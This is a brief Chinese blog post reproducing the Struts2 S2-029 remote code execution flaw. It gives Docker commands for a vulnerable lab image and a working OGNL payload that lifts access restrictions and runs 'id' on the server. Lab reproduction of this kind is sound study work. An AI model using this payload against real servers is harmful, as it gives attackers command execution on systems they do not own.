Struts2远程代码执行漏洞复现

    技术2022-07-11  148

    环境搭建

    docker pull medicean/vulapps:s_struts2_s2-029

    docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029

    http://yourIP/default.action打开页面

    漏洞利用

    (#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

    Processed: 0.025, SQL: 9